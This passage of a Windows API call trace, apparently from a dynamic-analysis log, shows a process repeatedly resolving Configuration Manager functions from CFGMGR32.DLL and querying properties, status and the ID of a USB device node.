lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0228.243] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0228.243] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0228.243] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0228.243] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0228.243] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0228.244] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0228.244] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0228.244] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0228.244] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0228.244] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0228.244] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0228.245] malloc (_Size=0x18) returned 0x20abc281e00 [0228.245] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x12, ulProperty=0x9, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0228.245] malloc (_Size=0x48) returned 0x20abc27cf80 [0228.245] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x43cee660, dwHighDateTime=0x1d9eb0c)) [0228.246] SetEvent (hEvent=0x248) returned 1 [0228.250] malloc (_Size=0xd8) returned 0x20abc284e70 [0228.250] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0228.252] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0228.252] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0228.252] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0228.252] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0228.252] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0228.253] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0228.253] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0228.253] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0228.253] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0228.253] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0228.253] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0228.254] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0228.254] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0228.254] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0228.254] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0228.254] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0228.255] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0228.255] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0228.255] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0228.255] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0228.255] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0228.256] malloc (_Size=0x18) returned 0x20abc281f20 [0228.256] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x12, ulProperty=0x8, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0228.257] malloc (_Size=0x48) returned 0x20abc27cb20 [0228.257] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x43d14d9b, dwHighDateTime=0x1d9eb0c)) [0228.258] SetEvent (hEvent=0x248) returned 1 [0228.350] malloc (_Size=0xd8) returned 0x20abc284e70 [0228.350] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0228.350] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0228.350] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0228.350] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0228.350] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0228.351] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0228.351] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0228.351] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0228.351] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0228.351] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0228.351] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0228.352] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0228.352] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0228.352] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0228.352] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0228.352] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0228.353] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0228.353] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0228.353] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0228.353] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0228.353] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0228.353] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0228.354] malloc (_Size=0x18) returned 0x20abc281c00 [0228.354] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x12, ulProperty=0x5, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x25 [0228.355] malloc (_Size=0x48) returned 0x20abc27cf80 [0228.355] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x43df975e, dwHighDateTime=0x1d9eb0c)) [0228.355] SetEvent (hEvent=0x248) returned 1 [0228.362] malloc (_Size=0xd8) returned 0x20abc284e70 [0228.362] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0228.362] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0228.363] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0228.363] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0228.363] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0228.363] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0228.363] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0228.363] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0228.364] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0228.364] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0228.364] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0228.364] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0228.364] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0228.364] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0228.365] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0228.365] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0228.365] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0228.365] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0228.365] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0228.365] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0228.366] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0228.366] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0228.366] malloc (_Size=0x18) returned 0x20abc281ac0 [0228.367] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x12, ulProperty=0x1, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0228.369] malloc (_Size=0x48) returned 0x20abc27cf80 [0228.369] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x43e21d2e, dwHighDateTime=0x1d9eb0c)) [0228.370] SetEvent (hEvent=0x248) returned 1 [0228.374] malloc (_Size=0xd8) returned 0x20abc284e70 [0228.374] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0228.374] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0228.375] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0228.375] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0228.375] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0228.375] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0228.375] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0228.375] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0228.376] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0228.376] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0228.376] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0228.377] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0228.377] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0228.377] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0228.377] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0228.377] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0228.377] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0228.378] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0228.378] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0228.378] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0228.378] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0228.378] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0228.379] malloc (_Size=0x18) returned 0x20abc281fc0 [0228.379] CM_Get_DevNode_Status (in: pulStatus=0x2dc22fd3f8, pulProblemNumber=0x2dc22fd3a0, dnDevInst=0x12, ulFlags=0x0 | out: pulStatus=0x2dc22fd3f8, pulProblemNumber=0x2dc22fd3a0) returned 0x0 [0228.380] malloc (_Size=0x48) returned 0x20abc27cf80 [0228.380] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd320 | out: lpSystemTimeAsFileTime=0x2dc22fd320*(dwLowDateTime=0x43e460e7, dwHighDateTime=0x1d9eb0c)) [0228.380] SetEvent (hEvent=0x248) returned 1 [0228.386] malloc (_Size=0xd8) returned 0x20abc284e70 [0228.386] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0228.386] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0228.386] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0228.387] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0228.387] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0228.387] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0228.387] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0228.387] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0228.387] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0228.388] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0228.388] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0228.388] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0228.388] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0228.388] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0228.389] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0228.389] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0228.389] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0228.389] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0228.389] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0228.390] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0228.390] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0228.390] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0228.391] malloc (_Size=0x18) returned 0x20abc281ba0 [0228.391] CM_Get_First_Log_Conf (in: plcLogConf=0x2dc22fd3e8, dnDevInst=0x12, ulFlags=0x4 | out: plcLogConf=0x2dc22fd3e8) returned 0xe [0228.502] malloc (_Size=0x48) returned 0x20abc27cf80 [0228.502] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd340 | out: lpSystemTimeAsFileTime=0x2dc22fd340*(dwLowDateTime=0x43f76eba, dwHighDateTime=0x1d9eb0c)) [0228.503] SetEvent (hEvent=0x248) returned 1 [0228.508] malloc (_Size=0xd8) returned 0x20abc284e70 [0228.508] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0228.509] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0228.509] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0228.509] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0228.509] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0228.509] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0228.510] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0228.510] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0228.510] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0228.510] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0228.510] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0228.510] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0228.511] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0228.511] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0228.511] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0228.511] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0228.511] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0228.511] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0228.511] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0228.512] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0228.512] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0228.512] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0228.512] malloc (_Size=0x18) returned 0x20abc281e00 [0228.513] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x12, ulProperty=0xd, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0228.520] malloc (_Size=0x48) returned 0x20abc27cf80 [0228.520] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x43f9d040, dwHighDateTime=0x1d9eb0c)) [0228.521] SetEvent (hEvent=0x248) returned 1 [0228.527] malloc (_Size=0xd8) returned 0x20abc284e70 [0228.527] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0228.528] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0228.528] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0228.528] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0228.528] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0228.529] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0228.529] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0228.529] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0228.529] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0228.529] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0228.529] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0228.530] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0228.530] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0228.530] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0228.530] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0228.530] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0228.530] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0228.531] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0228.531] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0228.531] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0228.531] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0228.531] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0228.532] malloc (_Size=0x18) returned 0x20abc281e80 [0228.533] CM_Get_Device_IDA (in: dnDevInst=0x13, Buffer=0x2dc22fd2e0, BufferLen=0xc9, ulFlags=0x0 | out: Buffer="USB\\VID_0A81&PID_0203\\28754") returned 0x0 [0228.533] malloc (_Size=0x48) returned 0x20abc27cb20 [0228.533] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd250 | out: lpSystemTimeAsFileTime=0x2dc22fd250*(dwLowDateTime=0x43fc35e5, dwHighDateTime=0x1d9eb0c)) [0228.533] SetEvent (hEvent=0x248) returned 1 [0228.538] malloc (_Size=0xd8) returned 0x20abc284e70 [0228.538] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0228.539] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0228.539] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0228.539] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0228.539] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0228.540] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0228.540] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0228.540] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0228.540] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0228.540] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0228.540] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0228.541] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0228.541] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0228.541] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0228.541] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 